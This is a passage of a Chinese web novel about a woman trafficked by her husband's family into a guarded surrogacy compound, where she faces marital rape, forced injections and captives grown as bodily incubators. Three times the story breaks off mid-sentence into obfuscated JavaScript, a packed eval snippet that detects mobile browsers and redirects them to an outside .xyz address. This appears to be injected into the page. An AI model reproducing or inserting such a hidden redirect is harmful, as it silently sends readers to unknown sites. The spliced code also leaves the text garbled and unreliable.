她不知道作为女人,她到底能过上怎样的生活,但是她还是他的时候,曾见过天光,她不甘心在这里平凡平稳闭目塞听地过一辈子。 罢了,就让我用这新生命,走出新手村,去闯一闯吧。 想到这里,岳金裙不再求了,从程有柱手里端过碗,吃了起来,要积蓄体力,前方还有无数硬仗要打。 岳金裙吃完一抹嘴,躺在床上,打算睡觉养精蓄锐。 程有柱见她不再追问,反而期期艾艾地凑到岳金裙身边, ”金裙,我想,这最后一晚……”说着开始脱她的衣服。 “不行。”岳金裙睁大眼睛不可置信,他还有这心思。 从医院回来第二天就木耳中毒,他们确实没在一起过了。 但是岳金裙万分厌恶他,软弱自私无能,从外形到性格人品,一无是处。 从前为了好过一点,不得已配合,但如今都撕破脸了,也没必要配合,不想再遭这一回罪。 岳金裙推他,拒绝他的靠近。 “最后一回,你就给我吧。”说完按住岳金裙,快速脱了她的裤子。 “你特么的还真是物尽其用。”岳金裙恨道。 第二天一大早,一辆车停在程老根家门前。 “金裙,来人了,你该走了。” 程有柱打开锁,叫醒岳金裙,并给岳金裙挑了最破旧的一套衣服,盯着她换上。 “把我的ID卡给我。” “没有了,早就扔了。快点吧,车在门口等着呢。” 岳金裙仅着一身单衣,在程有柱的盯视下,其他任何东西都没拿,走到车前。 车内下来两个男人,给岳金裙搜了一遍身,随后拿出一个眼罩,仔细戴在岳金裙眼前,将岳金裙带上了车。 车子很快启动。 “钱一定要直接给我们啊,别给她。”程老根不放心地追上来又说了一遍。 目送着车子远去,程有柱面露不舍:“爸,真的让她代孕一个就走啊?” “哼,她跟你可是有结婚证的,她走不了。 代孕机构是跟我们签合同的,生了这个就再生下一个,直到她生不出来为止。 有柱,你不用再辛辛苦苦去干活了,我们就靠她挣钱了。 你看咱村去做代孕的,都盖了二层小别墅,明年也轮到咱家盖新房。 等钱回来,我就跟花叔说,再给你买个媳妇儿回来,这回可要给我生个孙子啊。”程老根得意地说出自己的筹谋。 “哈哈,好。”程有柱转忧为喜,满含期待。 汽车在路上疾驰,村庄和树木飞速向后移去。 岳金裙两侧各坐了一个男人,分别按住她的一条手臂,控制住她的大部分活动。 “我们这是要去哪里?” “我还没吃饭,能给我一点吃的吗?” 无人应答。 若不是还有汽车轰鸣声,还能感觉到身旁坐了两个人,岳金裙还以为坐上了一辆鬼车。 她对于时间不太敏感,但应该是开了许久,从四周安静开到了喧嚣,岳金裙的肚子也饿得咕咕叫起来。 车终于停了下来。 “下来吧,眼罩不能摘,我们带着你去。” 岳金裙被坐在身旁的两个男人扶着下车,上电梯,进房间,才给岳金裙摘下眼罩。 “你现在这里等下,待会医生给你检查。” 岳金裙只觉得好像进入了门诊室,室内有各种仪器,岳金裙基本都不认识,只认识b超机器、五颜六色的采血管。 不一会儿,一个带着口罩的高大男人走了进来,看着四五十岁的样子,寻常地坐在了椅子上。 “姓名、年龄、以前怀孕过吗?流产过吗?生了几个?” 带她进来的两个男人仍未离开,岳金裙只好如实作答。 “带她去排尿,然后躺到床上去。”医生示意岳金裙躺到b超床上。 “没有女医生吗?” 医生未转头看岳金裙一眼:“没有。” “走吧。”带岳金裙进来的男人之一说道。 岳金裙只好如实照做。 “右腿裤子脱下,腿张开。”医生拿起放在一边的探头,随意在探头上套了个避孕套。 在跟程有柱去查未孕原因的时候,已经做过这个检查,但岳金裙仍感觉十分不适。 “疼……轻点。”岳金裙感觉这个医生是故意的似的,非常粗鲁,弄得非常重。 “别说话,爽的时候怎么不说轻点。” “你怎么能这么说?哎,你刚刚把探头放在了床边,又没有重新换避孕套,这不是弄脏了吗?” “说了别说话。” “啊……”报复似的,医生又用了重力,岳金裙不敢再说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730155|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳金裙又被抽了几管血,就被带到另外一栋楼,先被带到了一个澡堂。 这两个男人仿佛完成任务一般,将岳金裙交到一个中年女人手里。 中年女人拿了一套衣物,将岳金裙领到了浴室, “把衣服都脱了,冲个澡,然后换上这套衣服。” 岳金裙手放到了衣服下摆,将要脱下,看到这个女人还站在原地, “你不出去吗?” “我不出去,这是为了防止你们夹带,手机、录音笔、监控摄像头都不能带。衣服脱了给我。这里吃穿住都会提供的。” 岳金裙在她的注视下,慢慢脱完身上的衣物,洗澡后穿上女人提供的衣物,然后被女人送进一间宿舍。 “饭会有人给你送进来的,不要乱跑,不要出这栋楼,早晚都会有查房。” 这个地方好像一个园区,有住宿的地方,有做代孕检查移植并生孩子的地方,岳金裙甚至看到了超市、食堂,还有娱乐的场所,形成了一个完整的生态系统,仿若诈骗园区般完善,周边还有保安巡逻。 在路上,岳金裙看到了大着肚子的孕妇,甚至听到了孩子此起彼伏的哭声。 岳金裙的宿舍在5楼,是4人间,每人一张大床,中间用帘子隔开。 有电视,有厕所,有空调,一览无余。 她的三个舍友都躺在床上,沉默地看着她,肚子都有不同程度地隆起。 “快来吧,门边的那个床还空着,你在那个床吧。” 看着最年轻,也是肚子最小的一个女人主动笑着招呼,这个女人正好在入门第二个床上,与岳金裙挨着。 “好的。”岳金裙露出一个笑容,坐在仅剩的床上。 “你是第一次做吗?” “哦,是的,我叫岳金裙,你看着好年轻啊,年纪很小吧。”岳金裙见她十分热情,也积极回应。 “哈哈,我叫张思丽,21岁了,这是我第二次做,今天才移植了2颗。” “移植2颗?一次怀双胎吗?” “对啊,客户想要龙凤胎,我们都是怀的双胎,她们两个也是,怀双胎钱多。都是怀一回呢,当然双胎最好啊。” 纵使岳金裙以前是个男人,也知道双胎的风险是更加大的。 他以前陪妻子去生孩子的时候,隔壁病房住的就是一个怀了双胞胎的孕妇,生孩子的时候早产。 孕妇要求剖腹产,疼得向婆婆和丈夫下跪磕头,但婆婆依旧要求顺产,也不让上无痛,最后孕妇死在了产床上,一尸三命,给岳金裙造成了极大的心里阴影。 当即抓住的妻子的手,声明生孩子一切都听妻子的,该剖就剖,必须要上无痛,感动得妻子泪眼汪汪。 但是这些代孕妈妈,居然主动要生双胎,主动要承诺更多的风险,简直在拿命换钱。 岳金裙转而自嘲一笑,她又在用以前的视角来看待,她自己也在拿命换钱啊。 张思丽见岳金裙沉默,以为她第一次做不适应,主动开解, “没事的,我们都是做过几次了,没什么风险,就算有风险,肯定也能保住命的,都是签了协议的,生产过程中要是出了什么问题,都会有额外赔偿的。” “好的,我知道了。”岳金裙不知道该说什么。 “思丽,你有手机吗?”岳金裙低声问道。 “没有。什么都不让带进来,看,我们的衣服都是统一的,以前还没有这么严呢,都能穿自己的衣服,带自己的手机,你知道为什么吗?”张思丽一副分享大秘密的态度。 “为什么?” “因为去年年底的时候,那时候我们还在另外一个地方,来了一个叫尹月的女人,借了别人的手机打了举报电话。 在警察来之前,公司把我们都转移了,把尹月也送走了,自此之后,就是一张纸,都不能带进来。” 尹月居然还干了这样的事,难怪听说她被送去代孕,又很快回村,也难怪警察会知道消息去解救她,可能就是因为她打了报警电话。 但这算不算前人砍树?这里的防卫做的更加严密,跟被卖进电诈园区似的,岳金裙几乎没有越狱可能。 “在警察来之前你们就被转移了?”岳金裙发现了一个华点,这个地方似乎有点神通广大啊。 “对啊,说是警察要来了,我们就被立刻带走了,也许有人专门就在门口路上盯梢呢。” 18. 宿舍生活 “吃饭了。”一个女人推着餐车进来,给每人发了一份盒饭。 岳金裙一看外面,天居然已经黑了,她才吃到今天的第一顿饭,她已经饿过劲,胃都不闹腾了。 “快吃吧,这儿的伙食很好的。”张思丽利索撕开一次性筷子,磨一磨筷子顶部毛刺,大口吃起来。 这份盒饭确实不错,自岳金裙变成女人以来,这还是她第一次吃到如此色香味俱全的饭菜。 虽然只是一份盒饭,但是饭、肉、蔬菜、汤全都有了,比程有柱家的饭菜不知道上了几个台阶,她吃着盒饭,居然陡然而生一种幸福与满足感。 抬头看去,另外3个室友也吃得极为满足,张思丽喝完最后一口汤,还打了一个饱嗝。 “饭盒扔在垃圾桶就行,明天阿姨来送饭的时候,会带走的。” 张思丽起身扔完饭盒,并未躺到床上,反而在室内慢慢走起来。 “来吧,溜会儿食吧,我刚做完移植,反而要动一动呢,不能一直躺着,这是赵医生说的。” “我们就只能在这间屋子里面呆着吗?这里有监控吗?”岳金裙想要去外面看看。 “每天上午可以去下面遛弯,但是不能出园区,明天你再出去吧。” 张思丽自在地伸展双臂,做扩胸运动,上下左右转着脖子。 “我们住的房间是没有监控的,但是楼道、下面都有监控。” “滴—”较年轻的大肚子女人钱三喜打开了墙上的电视。 “看会儿电视吧,现在没有手机,只有看看电视解闷儿,不然太无聊了,你没来之前,我们三个把知道的八卦都说了,实在没有可说的了。” “你们可以跟我再说一遍,我也可以跟你们说我知道的八卦,这不就又有新的了。” “哈哈,金裙,我就是这么想的。” 【今日热点新闻:青市一女子驾车撞人致53死,是因为迟迟无法离婚,丈夫用最新生育政策逼生三胎,心生不满,造成53人死亡,75人受伤。】 四人不再将电视声当作背景音,均抬头震惊地看向电视。 年长的女人赵淑惠叹息摇头:“这世道怎么了?怎么这种事越来越多,以前还只是男人开车撞死人,现在女人都这么干了?” 钱三喜也应和道:“是啊,不生孩子怎么行啊,现在让生三胎就赶紧趁年轻生呗,生自己的孩子总比我们在这儿生别人的孩子要好吧?” 岳金裙不置可否,外面的女人行事好像更加激烈,岳金裙都不敢相信,这居然是以前柔顺的女人,都敢开车撞人发泄不满了,以前最大的反抗可都只是自杀的。 钱三喜举起遥控器又换了一个台。 【15岁少女反杀2名男子:和市两名男子尾随15岁少女,欲拖入巷子施暴时,被少女拔下发簪反杀。原来少女自小练习散打……】 赵淑惠:“这不流氓吗?幸好这女孩练散打保护了自己,这俩男的打死都不算冤。” “是啊,我要是会散打,我家那口子打我的时候,我还会让他打?我打不死他。”钱三喜又按了一下遥控器。 赵淑惠忙制止钱三喜再换台:“哎,看《苦娘》这个电视剧吧,这个女人苦啊,被拐卖进大山里嫁给瘸腿老男人,生儿育女还要干活挣钱拉扯一家子。 最后终于在警察、家人的帮助下,寻到亲人,一家子终于团圆了。” “这个女人找到亲人不回去吗?还跟这个男人过?” 岳金裙看到片头中闪过一家子团圆的画面,似乎还有苦娘的瘸腿老公,苦娘父母似乎在握手感谢。 “看你说的,都过了这么多年,又有儿子又有女儿的,不跟这个男人过,跟谁过啊?好歹这是儿女的亲爹呀。” 赵淑惠摇头笑道,仿佛在看一个不经世事的小年轻。 “是啊,苦娘也有哥哥弟弟,那都有自己的家庭,父母也老了,父母都是跟着儿子过的。苦娘一个人回去了,跟谁过啊?谁养她啊?还不如跟着儿子女儿老公继续过,以后好歹有人养老。”钱三喜也十分赞同。 岳金裙无话可说。 确实,爱丁堡国是以家庭为社会最小单位的,家庭的托底和养老仍然是主要模式。若是有钱,一切都好说,但苦娘明显是没钱的,只能是无限妥协,苟延残喘。 况且人处于家庭中,家庭处于社会中,只能受制于各方压力,原谅全世界,皆大欢喜,其乐融融包饺子,而该妇女失去的一生,只能掩盖在阖家团圆之下,无人在乎。 “别看这个了,我从小就不耐烦看这些苦情剧。”张思丽听得非常难受,想要抢过遥控器。 “哎。”赵淑惠抢先夺过遥控器,“你不想看,我们还想看呢,按照咱们的排班,今天遥控器归我。 苦娘苦,你不苦啊?你不苦在这儿搞什么代孕?快多看点更苦的解解苦吧。” “哈哈哈”赵淑惠和钱三喜一同笑了起来。 张思丽气得也不遛弯了,躺在自己床上拉起被子,盖住自己的耳朵。 《苦娘》还在播放,进展到了苦娘发现自己被卖,哭求放过,而买她的瘸腿男人无动于衷,并撕扯她的衣服,强行要过夫妻生活的时候。 岳金裙联想到自身,可能全天下被拐妇女都是差不多的遭遇吧,没有最苦,只有更苦,无法再看下去,推门出了宿舍。 她在楼道里面吹了一会儿风,突然听到左边楼的5楼有个大肚子的女人大喊大叫,在楼道里疯狂跑来跑去,身后有几个人在追着她。 她爬上一扇半开的窗户,想要跳楼,岳金裙吓了一跳,幸好身后有人猛然抱住了她,几个人一起把她拖下窗户,拖到一个房间,后面传出来的声音就听不清楚了。 可能声音太大了,岳金裙发现不只是她在看,楼道里人越来越多,都在探头张望,往下一看,每一层都站了密密麻麻的人。 右边楼也有很多人出来看热闹,不过都是男人,这些男人的肚子好像都非常大,有些四肢明显比较纤细的男人,肚子尤为突出,显得非常畸形,让岳金裙十分不解。 这几栋楼中,明显自己这栋楼住的都是女人,可以在一定范围内自由活动,而左边疯女人那栋楼,闹的最欢,却没有几个人出来看。右边那栋楼,住的却是大肚子的男人,女人尚且代孕,这么多的男人是干什么的?还都是大肚子? “都回去,要锁门了。”岳金裙和左边楼都响起了一道女声,右边男人那栋楼,也有男声响起。楼道里的人全部都很快进了各自的宿舍,岳金裙也走进宿舍。 宿舍内看电视的2人对外面的声音置若罔闻,一副习以为常,不想凑热闹的样子。而张思丽还在蒙头盖着被子,可能已经睡着了。 很快,岳金裙只听门锁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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墙上挂着的电视机也自动打开,岳金裙定睛一看,居然播放起代孕宣传片,大肆宣传代孕的好处,简直把代孕说成一项利国利民的大好事、大善事。 “快点吃吧,待会9点我们就能下去自由活动了。”张思丽很是照顾岳金裙,招呼她快来吃饭。 “这个,这个……”岳金裙指着电视机。 “不用管它,想看就看,不想看就不看。每天8点到9点都循环播放。” 岳金裙看赵淑惠和钱三喜也对电视机浑不在意,早已听了不知道多少遍,习以为常了。 岳金裙也强迫自己不再关注电视,吃完饭后,岳金裙和张思丽闲聊,计划到了9点由张思丽带着岳金裙介绍一番,张思丽很有一种将要成为老师和引路者的兴奋感。 但是还未到9点,门开了,一个穿着白大褂的年轻男人站在门口, “岳金裙,跟我走。” “赵医生早啊。”张思丽兴奋地跟这个男医生打招呼,催促岳金裙,“你快跟着他去吧。” 岳金裙别无选择,跟着赵医生走了出去。 看张思丽的样子,这个医生可能是负责给她做移植的,早就认识,或许人还不错,不然张思丽不能这么放松和高兴。 赵医生把岳金裙带到一个房间,房间内还有另外5个女人,面前有一个大的摄像头。 “在摄像头面前站成一排,不要说话不要动。”赵医生要求众人照做,然后退出了房间。 19. 被选中 “梁先生,张女士,按照你们的要求,找了6个合适的代孕母体,您挑一个吧。” 张女士看着屏幕前站着的6个人,有些不满:“没有更好看的吗?我听说代孕妈妈也会影响孩子的长相和天赋。” “张女士,更好的自然有更高的价格,您看,咱们要更换套餐吗?” “这里面谁的学历最高?”梁先生制止了妻子,开口问道。 “最左边这个,叫岳金裙,大学学历。” “那就这个吧,我们想要一个聪明的孩子,尽快移植吧。”梁先生一锤定音,不理会妻子更多的意见,拉着妻子走了出去。 “好的,我们一定会尽快安排的,您慢走。” 到了楼道里,张女士甩开梁先生,闹起了别扭:“怎么选她啊,长得不好看。” “宝宝。”梁先生拥过妻子,“孩子的长相和天赋主要靠的是我们啊,孩子最重要的是有天赋,要聪明,我们保证这一点就行了。你这么漂亮,孩子怎么可能不好看?嗯?别生气了,生气就不好看了。” 梁先生见妻子还是撅着嘴:“宝宝,要是你还不满意,要不你自己生?你要是自己生,肯定智商和美貌都是最高级的。” 生孩子会损坏自己的身体和美貌,孕吐、妊娠纹、疤痕、长斑、漏尿、十级疼痛等等,就是不想生孩子,不想忍受这些痛苦,才选择找代孕,当然不能因为对代孕的一点不满意,就又转为自己亲自生。 “算了,就她吧。”张女士低下声音,妥协了。 梁先生满意地牵着张女士走过楼道,出了园区。 旁边一间会议室坐着一个男人,看似低调,但处处矜贵,面前也有一个屏幕,展示着数个相貌身材均是上乘的女人,而这个男人却十分感兴趣地看着外面楼道里争吵的夫妻。 待这对夫妻走了后,负责人小心翼翼地问道:“丁先生,您看这些女孩,有您满意的吗?这都是刚满十八岁的,未婚未育而且都没有交过男朋友的。“ 丁先生轻笑一声,“我看刚才外面的女士就很不错。” 负责人很为难:“丁先生,刚才的是我们的客户。” “钱不是问题。” “好的,我们会尽快安排的,您放心吧。” 岳金裙在镜头前莫名其妙地站了一会儿,又被赵医生单独带走。 “你被选中了,要尽快给你做移植手术,现在先给你打一些药物,保证你的子宫达到最好的移植条件。”赵医生一边调试注射器,一边说道。 “什么?”岳金裙不敢置信这么快,如同到了命运的审判台。 “我不接受,我不要做。”岳金裙跪地乞求,“我不是自愿来的,求求你放我走吧。” “我不管你是自愿还是被迫的,进来了就做你该做的事,还不接受,有你不接受的余地吗?” 赵医生打开门,叫了2个保镖进来,按住岳金裙。 她所有的挣扎都被轻松化解。 “送她回去吧。” 注射完以后,岳金裙又被送回宿舍。 宿舍内空无一人,3名室友都不在,上午是自由活动的时间,她们肯定是下去活动了。 岳金裙躺在自己床上,拉过被子盖住自己,任由眼泪流下来。 还是身不由己,变成了女人后,她一直在身不由己中度过,到底什么时候才能自己支配自己的身体呢? 她也不知道为什么在刚才被赵医生注射前要说自己不愿意,明知道什么都改变不了,但是她还是说出来了,还是祈求了。 可能还抱有一丝丝的希望,可能是为了表达自己的明确拒绝,表达“不要”就是“不要”,对这发生的一切,她并不是在配合,而是无法拒绝。 岳金裙慢慢平复了心情,不断鼓励自己,给自己做心理按摩,斗志又袭上了心头。 “金裙,你怎么了?”张思丽的声音突然传了进来。 岳金裙一个猛子坐了起来。 “没事,刚才我被赵医生带去注射了不知道什么东西,说我被选中了,要让子宫达到最好的移植状态。但我第一次做这个,有点害怕。” “哦~”张思丽一边喝水,一边说:“你别怕,都是这样的,过几天你就能移植了。我们还是受罪少的呢,她们那些捐卵的,要打促排针,更受罪呢。” “要不要跟我一起下去遛弯儿?”张思丽热情邀请。 “好啊。”岳金裙想,就算在这里伤春悲秋到死,也毫无用处,还不如走出去探索一番。 园区内有一片假山,假山前有一汪不深的湖水,两人走在围绕假山和湖水的小道上。 “嗯?怎么没什么人啊,大家不是都下来遛弯儿了吗?”岳金裙不解地看向四周。 看每栋楼的居住密度,人应该是不少的,但是走了这一段路,才零星碰到几个人。 “现在太阳都大了呀,人们都去旁边的超市、棋牌室、游戏厅玩去了,哪像我们啊,还在这晒着,哈哈哈。” “游戏厅?这儿能上网?”岳金裙眼睛里迸发出期待。 “不能,都只能和园区内的人一起玩游戏,不能和外面的人玩。” “哦。”岳金裙又低落下来。 “哎,那人在干什么?”张思丽拍了岳金裙一下,指着一个地方让她看。 岳金裙顺着张思丽的指示一看,假山里面小过道里有个瘦小的男人,正在用肚子撞一块突出来的石头。 这个地方很隐蔽,要不是特定的角度看过去,根本看不到这里。 “你在做什么?”两人快步朝那男人走去。 那个男人看到有人来了,停止撞肚子,反而要用额头去撞假山,岳金裙和张思丽快速跑到了男人身边,拽住男人制止了他。 “你这是干什么?你肚子里有什么,你为什么要撞?”岳金裙含怒问道,十分不解。 她变成了女人,生过了孩子,又被送来这代孕园区,受了这么多罪,都在苟延残喘地活着,而这个男人,却在这里自残?! 岳金裙一把掀起男人腹部的衣服,下一秒却被吓得退后几步,惊讶地几乎要叫出来,连忙捂住了嘴。 只见这男人的腹部扣着一个透明的玻璃碗似的东西,能直接清晰地看到里面有一个小小的胎儿,而这个胎儿的肚脐眼和男人的肚挤眼由脐带似的东西连着。 很明显,这个胎儿由男人通过脐带供养着,如同怀孕般在孕育这个胎儿,只不过女人是在腹内孕育,这男人却在腹外孕育。 腹内孕育什么都看不到倒也还好,这男人的腹外却能够看得清清楚楚,虽然是人类胎儿的模样,却让人毛骨悚然,如同原本在腹内的内脏被扯出腹外,让人从基因里面感到害怕与恶心。 “呕……”张思丽想到自己的腹内也有一个这种玩意儿,已经在一旁干呕起来。 岳金裙不至于干呕,但是仍感不适,不敢触碰,不由得紧皱着眉头。 “这到底怎么回事?”岳金裙问道。 “这里简直是地狱,这玩意儿就是这里的医生让我养的。”男人惊恐说道,不愿再看,扯下衣服盖住腹部。 “你不要管我,要是这玩意儿磕不掉,我就磕死在这儿。”男人情绪愈发激动。 “你先别激动,先说清楚你身上发生了什么?”岳金裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730157|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按住他激动的双臂,愈发好奇。 “我叫王福,以前不想打工,只想吃喝玩乐,把房子都赌出去了,把我爸妈都给气死了,我就成了个流浪汉。 当流浪汉也快乐啊,我后来遇到一个女流浪汉,她有点精神病,我打算养着她,生个孩子,已经打算好好搬砖干活。” 王福追忆起以前的快乐日子,越发怀念,抹起了眼泪。 “说重点。”岳金裙不耐烦打断。 “别急,重点来了,”王福不满岳金裙的打断,“三个月前的晚上,有人说可怜我们,想收留我们,要给我们工作,让我们跟他走,我一听有这好事儿,立刻答应,结果被他卖到这里。 这里的人把我和我媳妇儿分开,我先被他们打了一顿,又恐吓我,让我听话,就给我弄上了这个,我看着这玩意儿一天天长大,越长越像个人,搞得我跟怀孕了似的,我太害怕了,才跑到这儿,打算把这玩意儿弄掉。” “他们为什么让你怀孕,这个胎儿又是用来干什么的?”岳金裙又不解地问道。 这个地方除了让女人代孕,难道也让男人代孕,突破了男人生子的技术吗? “我不知道啊?我那个楼里住的都是我这样的男人,有自愿的,有不是自愿的。 听生过的男人说,就跟女人一样,怀个孩子,到了日子就会做手术,把孩子弄下来就被抱走了。” “你这不就跟女人代孕一样吗?”张思丽终于吐完了,在一旁问道。 “哪里一样?我是男人,我怎么能生孩子?“王福抓狂,“而且我听说,有的男人就被这孩子吸死了,根本活不了。还有的说我们生的这孩子是让别人吃的。” 王福张口做出撕咬的动作,岳金裙和张思丽都被他吓得后退一步。 “我还听说,那些自愿来的还有可能离开,我这种被卖进来,不是自愿来的,永远都出不去,会一直怀这种孩子,直到死去。” 看不到一点人生光亮,王福生无可恋,蹲下来锤头。 岳金裙看不惯他这副窝囊样子。 “你们不反抗吗?你们不都是男人吗?” “反抗?我们不敢啊,你不知道有多少更加身强力壮的男人看着我们,我刚来的时候被他们都快打死了,十大酷刑都要给我安排上,只要你看看去,你就一点反抗心思都不敢有。” 王福觉得岳金裙站着说话不腰疼。 “而且,也不知道是这孩子的原因还是给我们用了药,我整天感觉全身无力,还恶心想吐,我看其他人也是这样,根本就没劲儿,连个拳头都挥不出去,反抗什么呀?” “我只知道,反抗总比你在这儿寻死觅活的强,和其他人联合起来,打倒保卫,跑出去。” “哼,我们这里面还有好多自愿的人呢,人家可以拿到钱,我们一有动静,人家立刻举报,举报还可以拿钱呢。 人奸在群众中啊,我们根本就团结不起来。”王福摆摆手,一副和岳金裙说不通的样子。 “和你一起被抓进来的女流浪汉呢?叫什么名字?去哪儿了?”张思丽问道。 “我不知道她叫什么,我给她起了个名字,叫柔儿。”王福甜蜜的一笑,说到“柔儿”的时候语气轻柔,听得岳金裙和张思丽一阵恶寒。 “我也不知道她去了哪里,可能也跟我一样,被强迫怀上孩子了吧。” “叮呤—叮呤—” 张思丽和王福听得一怔,“该吃午饭了,我们得赶紧回去了。” “王福,你要是还想见我们,就明天上午还到这里来。”岳金裙只来得及和王福交代这一句话,就被张思丽急匆匆拉走了。 20. 宿舍讨论 “思丽,”岳金裙拽住张思丽,握住她的手,直视她的眼睛,恳求地说道:“我希望你不要把刚才的事情说出去,好吗?” “好的。” 张思丽不知是不想多生事端,还是被刚才的场景吓到了,也回握岳金裙的手,快速答应下来。 来不及多说什么,已经有管理者朝着她们这方向来了,两人快步走向宿舍。 回到宿舍的时候,另外两位室友已经在吃午饭,岳金裙和张思丽也拿起属于自己的餐吃了起来。 “下午是什么活动,还能出去吗?” “下午就要在宿舍呆着,不能出去了。”张思丽在用餐的百忙之中,不忘回一句。 “下午继续看电视吧。”赵淑惠插嘴道。 “今天该由金裙拿遥控器了,我可不想再看《苦娘》了。”张思丽连忙说道,并向岳金裙示意。 “惠姐,你以前都看过一遍,再看一遍有什么意思啊? 今天听金裙的吧,以后也别看这个,咱们的生活已经够苦了,还有必要看这种苦情剧吗?还是看点乐呵的吧。” 赵淑惠想反驳但找不出什么理由,不情愿地说道:“今天金裙说看什么就看什么吧。” “好的,待会咱们看新闻吧,咱们一直在这儿关着,外面发生了什么新鲜事都不知道。” 岳金裙说道,她确实想看点新闻,想要知道外面的形势。 “思丽,听你的意思,你不是第一次做代孕了?你为什么来做代孕呢?” 岳金裙看着张思丽非常熟悉代孕这一套流程,连上次代孕场所被封的事都知道。 问出这个问题后,岳金裙注意到,赵淑惠轻蔑一笑。 “你笑什么?”张思丽也注意到了,立刻出声质问。 “我没笑。”赵淑惠还是一副似笑非笑的样子。 “哼,我也不怕让人知道”,张思丽冷哼一声,不再理会赵淑慧,转向岳金裙, “我这是第二次做了,第一次是因为买包包,买手机,日常消费欠了太多贷款还不上,贷款公司的人建议我捐卵、代孕,我发现代孕的钱更多,所以就选择代孕。” “这是我第二次代孕,这次我可没欠钱。”张思丽提高了音量,自豪一般, “只不过因为这个来钱快,比我进厂累死累活挣的多多了,所以我又来了。” 张思丽故意表现的洋洋得意,“反正我还年轻,生了孩子修养一段时间就行,我再怎么样,也是因为我自己才来代孕的,代孕的钱一分不少地花在自己身上。 不像有的人,都四五十岁了,还为了儿子娶媳妇来做代孕呢,也不知道这当儿子的,拿着妈妈代孕的钱,能心安理得娶媳妇不?” “你这小蹄子,故意找不痛快。”赵淑惠听出张思丽故意嘲讽,起身骂道: “年纪轻轻不结婚不生孩子,就不学好胡乱糟践,等你把自己糟践坏了,以后都怀不上孩子,我看谁要你?到时候想嫁都嫁不出去。” “不劳您老费心。”张思丽摇头晃脑气人。 “你……”赵淑惠看她这样,气得头晕,钱三喜忙搀着她坐下,替她顺气,“惠姐,别气了,不值得,月份都大了,身子要紧。” “思丽,你也是的,干嘛这么气惠姐,赶紧说两句好的哄一哄。”钱三喜又朝张思丽劝道。 “哼,你也别在这儿充好人,是她赵淑惠先笑我的。 咱们别在这儿五十步笑百步,你不是为了你弟弟娶媳妇儿代孕吗?快40的人了,还没嫁出去,先给弟弟代孕挣钱了,你是当弟弟养呢还是当儿子养呢?这弟弟以后会养你吗?” 张思丽攻击性真是强,这句话一出来,把钱三喜直接气的大喘气,钱三喜和赵淑惠一同对张思丽怒目而视。 “别这样,我就是好奇问问你们,咱们这不是聊天吗?我也跟你们说说我是为什么来代孕的吧。” 岳金裙一看不好,不能再让她们冲突下去,最起码别有明面上的冲突,免得关键时刻互相拖后腿,忙转移话题。 众人的视线都聚集在了岳金裙身上,岳金裙想要更加感人一点,一想自己的悲惨遭遇,不用掐大腿,眼泪就说来就来。 “说起来,我跟苦娘有点相似,我也是被拐卖来的,过年的时候生了一个女儿,因为她爸爸和爷爷的原因,没养好死了。” 岳金裙说着一擦眼泪,真情实感让她的眼泪越来越多,心也越来越痛。三个舍友一听她这遭遇,也面露同情。 “我月子没做好,半年多没再怀孕,我那公公和丈夫就把我又送到这代孕的地方,说好了等我代孕一个,就放我走。所以我就不想看《苦娘》,一看这个电视剧,就想到了我这悲惨命运。” 岳金裙眼泪止不住地往下流,明明她想要坚强一些,想要忘记以前的磨难,但是没想到一提起来,眼泪好像开了闸,像是要把以前没流出的眼泪都淌出来。 不知是岳金裙的悲惨遭遇实在感人,还是带动着其他人也想起了自己的难过事,悲伤传染给了三位室友,赵淑惠也抬手擦了擦眼角, “不愿意看《苦娘》,以后我也就不看了,快别哭了。这人生啊,真是苦得都能拧出汁儿来。” “金裙,你公公说让你生一个就放你走,他一定会放你走吗?别他是坑你呢,想让你一直在这儿给他挣钱。”钱三喜指出其中的关键。 “我也不知道,但是我也实在没有办法。医院说我输卵管堵了,他们家又不愿意等我治好病。” 岳金裙也有想过这些,但是也确实迷茫,只能走一步看一步,看能不能在这里跑出去。 “唉”,众人一起叹气,也没有什么办法,况且三人如今都自顾不暇,谁又能拯救谁呢。 “金裙,你也是命苦,你还记得自己家人的电话吗?我这孩子也快生了,等我出去,我虽然不能帮你报警,但是联系一下你的家人告知情况还是可以的。” 赵淑惠给出建议,十分想要帮助她。 但这也是岳金裙担心的地方,她从男人变成了女人,这到底还是不是他熟悉的世界,他以前的家人,还是不是她的家人?他的妻子,还认识她吗? 况且她以前都是保存到通讯录中的,只记得妈妈的电话号码。 在这个世界中,这个号码还是妈妈的吗?妈妈会来救作为女人的她吗?她不确定。 “谢谢惠姐,这是我妈妈的电话,不知道她还用不用这个号码,您要是方便,出去了帮我打一下电话告知一下吧。 这个代孕的地方估计您走的时候也是被蒙着眼睛的,我把我被卖去的地址给您。”岳金裙觉得还是要赌一把,有希望总比没希望要好。 岳金裙见众人情绪都收得差不多,打开了电视,选了新闻频道。 